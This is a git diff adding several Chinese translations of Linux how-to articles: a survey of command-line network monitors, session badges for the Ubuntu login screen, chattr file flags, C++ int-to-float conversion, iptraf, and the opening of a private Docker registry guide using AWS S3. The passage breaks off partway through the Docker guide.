+尽管有许多专用的网络监控系统可以365天24小时监控,但您依旧可以在特定的情况下使用命令行式的网络监控器,某些命令行式的网络监控器在某方面很有用。如果您是系统管理员,那您就应该有亲身使用一些知名的命令行式网络监控器的经历。这里有一份**Linux上流行且实用的网络监控器**列表。 + +### 包层面的嗅探器 ### + +在这个类别下,监控工具在链路上捕捉独立的包,分析它们的内容,展示解码后的内容或者包层面的统计数据。这些工具在最底层对网络进行监控、管理,同样的也能进行最细粒度的监控,其代价是影响网络I/O和分析的过程。 + +1. **dhcpdump**:一个命令行式的DHCP流量嗅探工具,捕捉DHCP的请求/回复流量,并以用户友好的方式显示解码的DHCP协议消息。这是一款排查DHCP相关故障的实用工具。 + +2. **[dsniff][1]**:一个基于命令行的嗅探、伪造和劫持的工具合集,被设计用于网络审查和渗透测试。它可以嗅探多种信息,比如密码、NSF流量(LCTT 译注:此处疑为 NFS 流量)、email消息、网络地址等。 + +3. **[httpry][2]**:一个HTTP报文嗅探器,用于捕获、解码HTTP请求和回复报文,并以用户友好的方式显示这些信息。(LCTT 译注:[延伸阅读](https://linux.cn/article-4148-1.html)。 ) + +4. **IPTraf**:基于命令行的网络统计数据查看器。它实时显示包层面、连接层面、接口层面、协议层面的报文/字节数。抓包过程由协议过滤器控制,且操作过程全部是菜单驱动的。(LCTT 译注:[延伸阅读](https://linux.cn/article-5430-1.html)。) + + ![](https://farm8.staticflickr.com/7519/16055246118_8ea182b413_c.jpg) + +5. **[mysql-sniffer][3]**:一个用于抓取、解码MySQL请求相关的数据包的工具。它以可读的方式显示最频繁或全部的请求。 + +6. **[ngrep][4]**:在网络报文中执行grep。它能实时抓取报文,并用正则表达式或十六进制表达式的方式匹配(过滤)报文。它是一个可以对异常流量进行检测、存储或者对实时流中特定模式报文进行抓取的实用工具。 + +7. **[p0f][5]**:一个被动的基于包嗅探的指纹采集工具,可以可靠地识别操作系统、NAT或者代理设置、网络链路类型以及许多其它与活动的TCP连接相关的属性。 + +8. **pktstat**:一个命令行式的工具,通过实时分析报文,显示连接带宽使用情况以及相关的协议(例如,HTTP GET/POST、FTP、X11)等描述信息。 + + ![](https://farm8.staticflickr.com/7477/16048970999_be60f74952_b.jpg) + +9. **Snort**:一个入侵检测和预防工具,通过规则驱动的协议分析和内容匹配,来检测/预防活跃流量中各种各样的后门、僵尸网络、网络钓鱼、间谍软件攻击。 + +10. **tcpdump**:一个命令行的嗅探工具,可以基于过滤表达式抓取网络中的报文,分析报文,并且在包层面输出报文内容以便于包层面的分析。他在许多网络相关的错误排查、网络程序debug、或[安全][6]监测方面应用广泛。 + +11. **tshark**:一个与Wireshark窗口程序一起使用的命令行式的嗅探工具。它能捕捉、解码网络上的实时报文,并能以用户友好的方式显示其内容。 + +### 流/进程/接口层面的监控 ### + +在这个分类中,网络监控器通过把流量按照流、相关进程或接口分类,收集每个流、每个进程、每个接口的统计数据。其信息的来源可以是libpcap抓包库或者sysfs内核虚拟文件系统。这些工具的监控成本很低,但是缺乏包层面的检视能力。 + +12. **bmon**:一个基于命令行的带宽监测工具,可以显示各种接口相关的信息,不但包括接收/发送的总量/平均值统计数据,而且拥有历史带宽使用视图。 + + ![](https://farm9.staticflickr.com/8580/16234265932_87f20c5d17_b.jpg) + +13. **[iftop][7]**:一个带宽使用监测工具,可以实时显示某个网络连接的带宽使用情况。它对所有带宽使用情况排序并通过ncurses的接口来进行可视化。他可以方便的监控哪个连接消耗了最多的带宽。(LCTT 译注:[延伸阅读](https://linux.cn/article-1843-1.html)。) + +14. **nethogs**:一个基于ncurses显示的进程监控工具,提供进程相关的实时的上行/下行带宽使用信息。它对检测占用大量带宽的进程很有用。(LCTT 译注:[延伸阅读](https://linux.cn/article-2808-1.html)。) + +15. **netstat**:一个显示许多TCP/UDP的网络堆栈的统计信息的工具。诸如打开的TCP/UDP连接书、网络接口发送/接收、路由表、协议/套接字的统计信息和属性。当您诊断与网络堆栈相关的性能、资源使用时它很有用。 + +16. **[speedometer][8]**:一个可视化某个接口发送/接收的带宽使用的历史趋势,并且基于ncurses的条状图进行显示的终端工具。 + + ![](https://farm8.staticflickr.com/7485/16048971069_31dd573a4f_c.jpg) + +17. **[sysdig][9]**:一个可以通过统一的界面对各个Linux子系统进行系统级综合性调试的工具。它的网络监控模块可以监控在线或离线、许多进程/主机相关的网络统计数据,例如带宽、连接/请求数等。(LCTT 译注:[延伸阅读](https://linux.cn/article-4341-1.html)。) + +18. **tcptrack**:一个TCP连接监控工具,可以显示活动的TCP连接,包括源/目的IP地址/端口、TCP状态、带宽使用等。 + + ![](https://farm8.staticflickr.com/7507/16047703080_5fdda2e811_b.jpg) + +19. **vnStat**:一个存储并显示每个接口的历史接收/发送带宽视图(例如,当前、每日、每月)的流量监控器。作为一个后台守护进程,它收集并存储统计数据,包括接口带宽使用率和传输字节总数。(LCTT 译注:[延伸阅读](https://linux.cn/article-5256-1.html)。) + +### 主动网络监控器 ### + +不同于前面提到的被动的监听工具,这个类别的工具们在监听时会主动的“注入”探测内容到网络中,并且会收集相应的反应。监听目标包括路由路径、可供使用的带宽、丢包率、延时、抖动(jitter)、系统设置或者缺陷等。 + +20. **[dnsyo][10]**:一个DNS检测工具,能够管理跨越多达1500个不同网络的开放解析器的DNS查询。它在您检查DNS传播或排查DNS设置的时候很有用。 + +21. **[iperf][11]**:一个TCP/UDP带宽测量工具,能够测量两个端点间最大可用带宽。它通过在两个主机间单向或双向的输出TCP/UDP探测流量来测量可用的带宽。它在监测网络容量、调谐网络协议栈参数时很有用。一个叫做[netperf][12]的变种拥有更多的功能及更好的统计数据。 + +22. **[netcat][13]/socat**:通用的网络调试工具,可以对TCP/UDP套接字进行读、写或监听。它通常和其他的程序或脚本结合起来在后端对网络传输或端口进行监听。(LCTT 译注:[延伸阅读](https://linux.cn/article-1171-1.html)。) + +23. **nmap**:一个命令行的端口扫描和网络发现工具。它依赖于若干基于TCP/UDP的扫描技术来查找开放的端口、活动的主机或者在本地网络存在的操作系统。它在你审查本地主机漏洞或者建立维护所用的主机映射时很有用。[zmap][14]是一个类似的替代品,是一个用于互联网范围的扫描工具。(LCTT 译注:[延伸阅读](https://linux.cn/article-2561-1.html)。) + +24. ping:一个常用的网络测试工具。通过交换ICMP的echo和reply报文来实现其功能。它在测量路由的RTT、丢包率以及检测远端系统防火墙规则时很有用。ping的变种有更漂亮的界面(例如,[noping][15])、多协议支持(例如,[hping][16])或者并行探测能力(例如,[fping][17])。(LCTT 译注:[延伸阅读](https://linux.cn/article-2303-1.html)。) + + ![](https://farm8.staticflickr.com/7466/15612665344_a4bb665a5b_c.jpg) + +25. **[sprobe][18]**:一个启发式推断本地主机和任意远端IP地址之间的网络带宽瓶颈的命令行工具。它使用TCP三次握手机制来评估带宽的瓶颈。它在检测大范围网络性能和路由相关的问题时很有用。 + +26. **traceroute**:一个能发现从本地到远端主机的第三层路由/转发路径的网络发现工具。它发送限制了TTL的探测报文,收集中间路由的ICMP反馈信息。它在排查低速网络连接或者路由相关的问题时很有用。traceroute的变种有更好的RTT统计功能(例如,[mtr][19])。 + +### 应用日志解析器 ### + +在这个类别下的网络监测器把特定的服务器应用程序作为目标(例如,web服务器或者数据库服务器)。由服务器程序产生或消耗的网络流量通过它的日志被分析和监测。不像前面提到的网络层的监控器,这个类别的工具能够在应用层面分析和监控网络流量。 + +27. **[GoAccess][20]**:一个针对Apache和Nginx服务器流量的交互式查看器。基于对获取到的日志的分析,它能展示包括日访问量、最多请求、客户端操作系统、客户端位置、客户端浏览器等在内的多个实时的统计信息,并以滚动方式显示。 + + ![](https://farm8.staticflickr.com/7518/16209185266_da6c5c56eb_c.jpg) + +28. **[mtop][21]**:一个面向MySQL/MariaDB服务器的命令行监控器,它可以将成本最大的查询和当前数据库服务器负载以可视化的方式显示出来。它在您优化MySQL服务器性能、调谐服务器参数时很有用。 + + ![](https://farm8.staticflickr.com/7472/16047570248_bc996795f2_c.jpg) + +29. **[ngxtop][22]**:一个面向Nginx和Apache服务器的流量监测工具,能够以类似top指令的方式可视化的显示Web服务器的流量。它解析web服务器的查询日志文件并收集某个目的地或请求的流量统计信息。 + +### 总结 ### + +在这篇文章中,我展示了许多命令行式监测工具,从最底层的包层面的监控器到最高层应用程序层面的网络监控器。了解那个工具的作用是一回事,选择哪个工具使用又是另外一回事。单一的一个工具不能作为您每天使用的通用的解决方案。一个好的系统管理员应该能决定哪个工具更适合当前的环境。希望这个列表对此有所帮助。 + +欢迎您通过回复来改进这个列表的内容! + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/useful-command-line-network-monitors-linux.html + +作者:[Dan Nanni][a] +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://www.monkey.org/~dugsong/dsniff/ +[2]:http://xmodulo.com/monitor-http-traffic-command-line-linux.html +[3]:https://github.com/zorkian/mysql-sniffer +[4]:http://ngrep.sourceforge.net/ +[5]:http://lcamtuf.coredump.cx/p0f3/ +[6]:http://xmodulo.com/recommend/firewallbook +[7]:http://xmodulo.com/how-to-install-iftop-on-linux.html +[8]:https://excess.org/speedometer/ +[9]:http://xmodulo.com/monitor-troubleshoot-linux-server-sysdig.html +[10]:http://xmodulo.com/check-dns-propagation-linux.html +[11]:https://iperf.fr/ +[12]:http://www.netperf.org/netperf/ +[13]:http://xmodulo.com/useful-netcat-examples-linux.html +[14]:https://zmap.io/ +[15]:http://noping.cc/ +[16]:http://www.hping.org/ +[17]:http://fping.org/ +[18]:http://sprobe.cs.washington.edu/ +[19]:http://xmodulo.com/better-alternatives-basic-command-line-utilities.html#mtr_link +[20]:http://goaccess.io/ +[21]:http://mtop.sourceforge.net/ +[22]:http://xmodulo.com/monitor-nginx-web-server-command-line-real-time.html diff --git a/published/201505/20150119 Unity Greeter Badges Brings Missing Session Icons to Ubuntu Login Screen.md b/published/201505/20150119 Unity Greeter Badges Brings Missing Session Icons to Ubuntu Login Screen.md new file mode 100644 index 0000000000..fe25f3f6dc --- /dev/null +++ b/published/201505/20150119 Unity Greeter Badges Brings Missing Session Icons to Ubuntu Login Screen.md @@ -0,0 +1,58 @@ +‘Unity Greeter Badges’:将丢失的会话图标带回Ubuntu登录屏幕 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/01/unity-greeter-badges-750x321.jpg) + +新出现在**Ubuntu 15.04中的一个软件包解决了我对Unity 欢迎屏的微词:像Cinnamon这样的其它Linux桌面会话没有徽章图标。** + +我知道这有点吹毛求疵了;这只是对大多数人而言几乎毫无影响的视觉瑕疵罢了。但是这种不一致性时时刻刻缠绕着我,让我不胜其烦,因为Ubuntu的一些会话带有徽章图标,包括Unity、GNOME和KDE。而剩下的其它桌面环境,包括它自己的一些旁系产品,像Xubuntu,只会在会话切换列表和主用户界面显示了一个不能再简单的白点。 + +这些点点们造成的这种不一致性刺激着我的神经,即使它只是稍纵即逝,但这种刺激不仅仅来自设计,也来自可用性方面。标牌式的标志符号对于让我们知道我们即将登陆到哪个会话很有帮助。 + +例如,你能告诉我们这个是个什么会话呢? + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/01/what-session-is-this-750x247.jpg) + +Budgie? 也许是 MATE? 也能是 Cinnamon……我必须点开它才能知道。 + +没有必要这样做啊。构建Unity Greeter,就是为了让桌面环境开发者能够部署徽章到欢迎屏幕中(有些确实这样做了)。但在许多情况下,像MATE,它的包来自上游的Debian,想要移植一个“Ubuntu专用的补丁包”不太可取,也不太可能。 + +### 一个解决方案出炉了 ### + +一位有经验的Debian维护者[Doug Torrance][1]有了修复该可用性瑕疵的解决方案。与其依赖桌面制造者自己来添加品牌式徽章到他们的包中,与其给Ubuntu增加维护它的责任重担,Torrance还不如自己创建了一个独立的‘unity-greeter-badges’包来收容它们。 + +承担起了直接提供会话标志的假定责任后,该包确保能同时迎合新旧窗口管理器、会话和桌面。 + +在30个左右的桌面环境列表中,它为以下桌面捆绑了新的会话徽章: + +- Xubuntu +- Cinnamon +- MATE +- Cairo-Dock +- Xmonad +- Awesome +- OpenBox +- Pantheon + +最重要的是,‘**Unity-Greeter-Badges**’已经被Ubuntu 15.04收录进去。这就意味着Torrance的包将可以直接安装,不需要PPA,也不需要下载。没有像Unity Greeter一样成为核心包的一部分,它可以以更高效和更及时的方式更新新的图标。 + +如果你真运行着Ubuntu 15.04,在不久的将来,你就可以从软件中心获取并安装该包了。 + +不想等到15.04?Torrance已经为Ubuntu 14.04和Ubuntu 14.10用户做了个.deb安装器。 + +- [下载用于Ubuntu 14.04的unity-greeter-badges][2] +- [下载用于Ubuntu 14.10的unity-greeter-badges][3] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/01/unity-greeter-badges-brings-missing-session-icons-ubuntu-login-screen + +作者:[Joey-Elijah Sneddon][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://launchpad.net/~profzoom +[2]:https://launchpad.net/~profzoom/+archive/ubuntu/misc/+files/unity-greeter-badges_0.1-0ubuntu1%7E201412111501%7Eubuntu14.04.1_all.deb +[3]:https://launchpad.net/~profzoom/+archive/ubuntu/misc/+files/unity-greeter-badges_0.1-0ubuntu1%7E201412111501%7Eubuntu14.10.1_all.deb diff --git a/published/201505/20150123 How to make a file immutable on Linux.md b/published/201505/20150123 How to make a file immutable on Linux.md new file mode 100644 index 0000000000..493b0096be --- /dev/null +++ b/published/201505/20150123 How to make a file immutable on Linux.md @@ -0,0 +1,73 @@ +如何在Linux下创建一个不可变更的文件 +================================================================================ + +假如你想对Linux中的一些重要文件做写保护,这样它们就不能被删除或者被篡改成之前的版本或者其他东西,或者在其他情况下,你可能想避免某些配置文件被软件自动修改。使用`chown`和`chmod`命令修改文件的归属关系或者权限位是处理这种情况的一个解决方法,但这并不完美,因为这样无法避免有root权限的操作。这时`chattr`就派上用场了。 + +`chattr`是一个可以设置或取消文件的标志位的Linux命令,它和标准的文件权限(读、写、执行)是分离的。与此相关的另一个命令是`lsattr`,它可以显示文件的哪些标志位被设置上了。最初只有EXT文件系统(EXT2/3/4)支持`chattr`和`lsattr`所管理的标志位,但现在很多其他的原生的Linux文件系统都支持了,比如XFS、Btrfs、ReiserFS等等。 + +在这个教程中,我会示范如果使用`chattr`来让Linux中的文件不可变更。 + +`chattr`和`lsattr`命令是e2fsprogs包的一部分,它在所有现代Linux发行版都预装了。 + +下面是`chattr`的基本语法。 + + $ chattr [-RVf] [操作符][标志位] 文件... + +其中操作符可以是“+”(把选定的标志位添加到标志位列表)、“-”(从标志位列表中移除选定的标志位)、或者“=”(强制使用选定的标志位)。 + +下面是一些可用的标志位。 + +- **a**: 只能以追加模式打开。 +- **A**: 不能更新atime(文件访问时间)。 +- **c**: 当被写入磁盘时被自动压缩。 +- **C**: 关掉“写时复制”。 +- **i**: 不可变更。 +- **s**: 通过自动归零来安全删除。(LCTT 译注:一般情况文件被删后内容不会被修改,改标志位会使得文件被删后原有内容被“0”取代) + +### “不可变更”标志位 ### + +为了让一个文件不可变更,你需要按照如下方法为这个文件添加“不可变更”标志位。例如,对/etc/passwd文件做写保护: + + $ sudo chattr +i /etc/passwd + +注意设置或取消一个文件的“不可变更”标志位是需要root用户权限的。现在检查该文件“不可变更”标志位是否被添加上了。 + + $ lsattr /etc/passwd + +一旦文件被设置为不可变更,任何用户都将无法修改该文件。即使是root用户也不可以修改、删除、覆盖、移动或者重命名这个文件。如果你想再次修改这个文件,需要先把“不可变更”标志位取消了。 + +用如下命令取消“不可变更”标志位: + + $ sudo chattr -i /etc/passwd + +![](https://farm9.staticflickr.com/8613/16152651317_076a65cf50_b.jpg) + +如果你想让一个目录(比如/etc)连同它下边的所有内容不可变更,使用“-R”选项: + + $ sudo chattr -R +i /etc + +### “只可追加”标志位 ### + +另一个有用的的标志位是“只可追加”,它只允许文件内容被追加的方式修改。你不能覆盖或者删除一个设置了“只可追加”标志位的文件。这个标志位在你想避免日志文件被意外清理掉的情况很有用。 + +和“不可变更”标志位类似,你可以使用如下命令让文件变成“只可追加”模式: + + $ sudo chattr +a /var/log/syslog + +注意当你复制一个“不可变更”或者“只可追加”的文件到其他地方后,新文件不会保留这些标志位! + +### 结论 ### + +在这个教程中,我展示了如何使用`chattr`和`lsattr`命令来管理额外的文件标志位,来避免文件被篡改(意外或者其他情况)的方法。注意你不能将`chattr`作为一个安全措施,因为“不可变更”标志位可以很容易被取消掉。解决这个问题的一个可能的方式是限制`chattr`命令自身的可用性,或者去掉CAP_LINUX_IMMUTABLE内核权能标志。关于`chattr`以及可用的标志位的更多细节,请参考它的man手册。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/make-file-immutable-linux.html + +作者:[Dan Nanni][a] +译者:[goreliu](https://github.com/goreliu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni diff --git a/published/201505/20150124 Why does C++ promote an int to a float when a float cannot represent all int values.md b/published/201505/20150124 Why does C++ promote an int to a float when a float cannot represent all int values.md new file mode 100644 index 0000000000..8d0d835ad5 --- /dev/null +++ b/published/201505/20150124 Why does C++ promote an int to a float when a float cannot represent all int values.md @@ -0,0 +1,43 @@ +既然float不能表示所有的int,那为什么在类型转换时C++将int转换成float? +============= + +###问题: + +代码如下: + +```C +int i = 23; +float f = 3.14; +if (i == f) // 执行某段代码 +``` + +编译器会将i转换成float类型,然后比较这两个float的大小,但是float能够表示所有的int吗?为什么没有将int和float转换成double类型进行比较呢? + +###回答: + +在整型数的演变中,当`int`变成`unsigned`时,会丢掉负数部分(有趣的是,这样的话,`0u < -1`就是对的了)。 + +和C语言中的大部分机制(在C++中得到继承)一样,就硬件操作而言,常见的算术转换应该简明易懂。C语言的发明者精通他们所使用机器上的汇编语言,他们编写的C语言对他们和像他们一样编写程序的人有直接的意义,直到使用汇编语言编写(诸如UNIX内核)的程序时。 + +现如今,一般来说,处理器并不具有混合类型的指令系统(如float和double相加、比较int和float,诸如此类),因为如果这样做造成芯片晶圆的巨大浪费——如果你想支持更多不同的类型,你不得不实现更多的操作码。然而,在实际中,你只有实现"add int to int"、"compare float to float"和"multiply unsigned with unsigned"等功能的常见指令,这使得优先进行算术转换变得很有必要——它们是指令系统中两种类型的映射关系,它们中的大部分很有用处。 + +从习惯编写低级别机器代码的编程人员的角度来说,如果有了混合类型,那么在一般情况下最有可能使用的汇编指令就是那些只需要进行最少类型转换的指令。其中,有一种特殊情况就是浮点数的转换,特别是在20世纪70年代早期,当时C语言正在被开发,计算机运行速度很慢,而浮点数的计算是通过软件完成的,所以进行转换的成本很高。这拖慢了常用算术运算的转换开发——当时只有一种操作数实现了转换(这个例外就是long到unsigned int的转换,这种转换没有任何要求,在大部分机器上都可以进行。当然并不是全部,因为总有例外情况)。 + +所以,编写常用的算术转换是为了完成汇编程序员在大部分时间需要做的事情:即有两种不匹配的类型,将一种转换成另一种。这也就是汇编代码所做的事情,除非有特别原因需要进行其它类型转换。对于那些习惯编写汇编代码的人来说,除非是特殊需要,才会被迫去编写一种不同的类型转换。显然,这种情况下提出编写转换是很自然的事情。虽然,你可以简单地写成这样 + +```C +if((double) i < (double) f) +``` + +顺便提一下,在这个问题中有趣的是,`unsigned`的优先级高于`int`,所以把`int`和`unsigned`进行比较时,最终进行的是unsigned类型的比较(开头提到的`0u < -1`就是这个道理)。我猜测这可能是在早些时候(计算机发展初期),当时的人们认为`unsigned`比`int`在所表示的数值范围上受到的限制更小:现在还不需要符号位,所以可以使用额外的位来表示更大的数值范围。如果你觉得`int`可能会溢出,那么就使用unsigned好了——在使用16位表示的ints时这个担心会更明显。 + +---- +via: [stackoverflow](http://stackoverflow.com/questions/28010565/why-does-c-promote-an-int-to-a-float-when-a-float-cannot-represent-all-int-val/28011249#28011249) + +作者:[wintermute][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://stackoverflow.com/users/4301306/wintermute \ No newline at end of file diff --git a/published/201505/20150126 iptraf--A TCP or UDP Network Monitoring Utility.md b/published/201505/20150126 iptraf--A TCP or UDP Network Monitoring Utility.md new file mode 100644 index 0000000000..1fa38d9079 --- /dev/null +++ b/published/201505/20150126 iptraf--A TCP or UDP Network Monitoring Utility.md @@ -0,0 +1,65 @@ +iptraf:一个实用的TCP/UDP网络监控工具 +================================================================================ + +[iptraf][1]是一个基于ncurses的IP局域网监控器,用来生成包括TCP信息、UDP计数、ICMP和OSPF信息、以太网负载信息、节点状态信息、IP校验和错误等等统计数据。 + +它基于ncurses的用户界面可以使用户免于记忆繁琐的命令行开关。 + +### 特征 ### + +- IP流量监控器,用来显示你的网络中的IP流量变化信息。包括TCP标识信息、包以及字节计数,ICMP细节,OSPF包类型。 +- 简单的和详细的接口统计数据,包括IP、TCP、UDP、ICMP、非IP以及其他的IP包计数、IP校验和错误,接口活动、包大小计数。 +- TCP和UDP服务监控器,能够显示常见的TCP和UDP应用端口上发送的和接收的包的数量。 +- 局域网数据统计模块,能够发现在线的主机,并显示其上的数据活动统计信息。 +- TCP、UDP、及其他协议的显示过滤器,允许你只查看感兴趣的流量。 +- 日志功能。 +- 支持以太网、FDDI、ISDN、SLIP、PPP以及本地回环接口类型。 +- 利用Linux内核内置的原始套接字接口,允许它(指iptraf)能够用于各种支持的网卡上 +- 全屏,菜单式驱动的操作。 + +###安装方法### + +**Ubuntu以及其衍生版本** + + sudo apt-get install iptraf + +**Arch Linux以及其衍生版本** + + sudo pacman -S iptra + +**Fedora以及其衍生版本** + + sudo yum install iptraf + +### 用法 ### + +如果不加任何命令行选项地运行**iptraf**命令,程序将进入一种交互模式,通过主菜单可以访问多种功能。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/iptraf_1.png) + +简易的上手导航菜单。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/iptraf_2.png) + +选择要监控的接口。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/iptraf_3.png) + +接口**ppp0**处的流量。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/iptraf_4.png) + +试试吧! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/iptraf-tcpudp-network-monitoring-utility/ + +作者:[Enock Seth Nyamador][a] +译者:[DongShuaike](https://github.com/DongShuaike) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/seth/ +[1]:http://iptraf.seul.org/about.html diff --git a/published/201505/20150128 Docker-2 Setting up a private Docker registry.md b/published/201505/20150128 Docker-2 Setting up a private Docker registry.md new file mode 100644 index 0000000000..d1c81e1679 --- /dev/null +++ b/published/201505/20150128 Docker-2 Setting up a private Docker registry.md @@ -0,0 +1,236 @@ +搭建一个私有的Docker registry +================================================================================ +![](http://cocoahunter.com/content/images/2015/01/docker2.jpg) + +[TL;DR] 这是系列的第二篇文章,这系列讲述了我的公司如何把基础服务从PaaS迁移到Docker上 + +- [第一篇文章][1]: 我谈到了接触Docker之前的经历; +- [第三篇文章][2]: 我展示如何使创建镜像的过程自动化以及如何用Docker部署一个Rails应用。 + +---------- + +为什么需要搭建一个私有的registry呢?嗯,对于新手来说,Docker Hub(一个Docker公共仓库)只允许你拥有一个免费的私有版本库(repo)。其他的公司也开始提供类似服务,但是价格可不便宜。另外,如果你需要用Docker部署一个用于生产环境的应用,恐怕你不希望将这些镜像放在公开的Docker Hub上吧! + +这篇文章提供了一个非常务实的方法来处理搭建私有Docker registry时出现的各种错综复杂的情况。我们将会使用一个运行于DigitalOcean(之后简称为DO)的非常小巧的512MB VPS 实例。并且我会假定你已经了解了Docker的基本概念,因为我必须集中精力在复杂的事情上! + +###本地搭建### + +首先你需要安装**boot2docker**以及docker CLI。如果你已经搭建好了基本的Docker环境,你可以直接跳过这一步。 + +从终端运行以下命令(我假设你使用OS X,使用 HomeBrew 来安装相关软件,你可以根据你的环境使用不同的包管理软件来安装): + + brew install boot2docker docker + +如果一切顺利(想要了解搭建docker环境的完整指南,请参阅 [http://boot2docker.io/][10]) ,你现在就能够通过如下命令启动一个 Docker 运行于其中的虚拟机: + + boot2docker up + +按照屏幕显示的说明,复制粘贴book2docker在终端输出的命令。如果你现在运行`docker ps`命令,终端将有以下显示。 + + CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES + +好了,Docker已经准备就绪,这就够了,我们回过头去搭建registry。 + +###创建服务器### + +登录进你的DO账号,选择一个预安装了Docker的镜像文件,创建一个新的Drople。(本文写成时选择的是 Image > Applications > Docker 1.4.1 on 14.04) + +![](http://cocoahunter.com/content/images/2015/01/Screenshot-2015-01-20-18-26-14.png) + +你将会以邮件的方式收到一个根用户凭证。登录进去,然后运行`docker ps`命令来查看系统状态。 + +### 搭建AWS S3 ### + +我们现在将使用Amazo Simple Storage Service(S3)作为我们registry/repository的存储层。我们将需要创建一个桶(bucket)以及用户凭证(user credentials)来允许我们的docker容器访问它。 + +登录到我们的AWS账号(如果没有,就申请一个[http://aws.amazon.com/][5]),在控制台选择S3(Simpole Storage Service)。 + +![](http://cocoahunter.com/content/images/2015/01/Screenshot-2015-01-20-19-29-21.png) + +点击 **Create Bucket**,为你的桶输入一个名字(把它记下来,我们一会需要用到它),然后点击**Create**。 + +![](http://cocoahunter.com/content/images/2015/01/Screenshot-2015-01-20-19-22-50.png) + +OK!我们已经搭建好存储部分了。 + +### 设置AWS访问凭证### + +我们现在将要创建一个新的用户。退回到AWS控制台然后选择IAM(Identity & Access Management)。 + +![](http://cocoahunter.com/content/images/2015/01/Screenshot-2015-01-20-19-29-08.png) + +在dashboard的左边,点击Users。然后选择 **Create New Users**。 + +如图所示: + +![](http://cocoahunter.com/content/images/2015/01/Screenshot-2015-01-20-19-31-42.png) + +输入一个用户名(例如 docker-registry)然后点击Create。写下(或者下载csv文件)你的Access Key以及Secret Access Key。回到你的用户列表然后选择你刚刚创建的用户。 + +在Permission section下面,点击Attach User Policy。之后在下一屏,选择Custom Policy。 + +![](http://cocoahunter.com/content/images/2015/01/Screenshot-2015-01-20-19-41-21.png) + +custom policy的内容如下: + + { + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "SomeStatement", + "Effect": "Allow", + "Action": [ + "s3:*" + ], + "Resource": [ + "arn:aws:s3:::docker-registry-bucket-name/*", + "arn:aws:s3:::docker-registry-bucket-name" + ] + } + ] + } + +这个配置将允许用户(也就是regitstry)来对桶上的内容进行操作(读/写)(确保使用你之前创建AWS S3时使用的桶名)。总结一下:当你想把你的Docker镜像从你的本机推送到仓库中时,服务器就会将他们上传到S3。 + +### 安装registry ### + +现在回过头来看我们的DO服务器,SSH登录其上。我们将要[使用][11]一个[官方Docker registry镜像][6]。 + +输入如下命令,开启registry。 + + docker run \ + -e SETTINGS_FLAVOR=s3 \ + -e AWS_BUCKET=bucket-name \ + -e STORAGE_PATH=/registry \ + -e AWS_KEY=your_aws_key \ + -e AWS_SECRET=your_aws_secret \ + -e SEARCH_BACKEND=sqlalchemy \ + -p 5000:5000 \ + --name registry \ + -d \ + registry + +Docker将会从Docker Hub上拉取所需的文件系统分层(fs layers)并启动守护容器(daemonised container)。 + +### 测试registry ### + +如果上述操作奏效,你可以通过ping命令,或者查找它的内容来测试registry(虽然这个时候容器还是空的)。 + +我们的registry非常基础,而且没有提供任何“验明正身”的方式。因为添加身份验证可不是一件轻松事(至少我认为没有一种部署方法是简单的,像是为了证明你努力过似的),我觉得“查询/拉取/推送”仓库内容的最简单方法就是通过SSH通道的未加密连接(通过HTTP)。 + +打开SSH通道的操作非常简单: + + ssh -N -L 5000:localhost:5000 root@your_registry.com + +这条命令建立了一条从registry服务器(前面执行`docker run`命令的时候我们见过它)的5000号端口到本机的5000号端口之间的 SSH 管道连接。 + +如果你现在用浏览器访问 [http://localhost:5000/v1/_ping][7],将会看到下面这个非常简短的回复。 + + {} + +这个意味着registry工作正常。你还可以通过登录 [http://localhost:5000/v1/search][8] 来查看registry内容,内容相似: + + { + "num_results": 2, + "query": "", + "results": [ + { + "description": "", + "name": "username/first-repo" + }, + { + "description": "", + "name": "username/second-repo" + } + ] + } + +### 创建一个镜像 ### + +我们现在创建一个非常简单的Docker镜像,来检验我们新弄好的registry。在我们的本机上,用如下内容创建一个Dockerfile(这里只有一点代码,在下一篇文章里我将会展示给你如何将一个Rails应用绑定进Docker容器中。): + + # ruby 2.2.0 的基础镜像 + FROM ruby:2.2.0 + + MAINTAINER Michelangelo Chasseur + +并创建它: + + docker build -t localhost:5000/username/repo-name . + +`localhost:5000`这个部分非常重要:Docker镜像名的最前面一个部分将告知`docker push`命令我们将要把我们的镜像推送到哪里。在我们这个例子当中,因为我们要通过SSH管道连接远程的私有registry,`localhost:5000`精确地指向了我们的registry。 + +如果一切顺利,当命令执行完成返回后,你可以输入`docker images`命令来列出新近创建的镜像。执行它看看会出现什么现象? + +### 推送到仓库 ### + 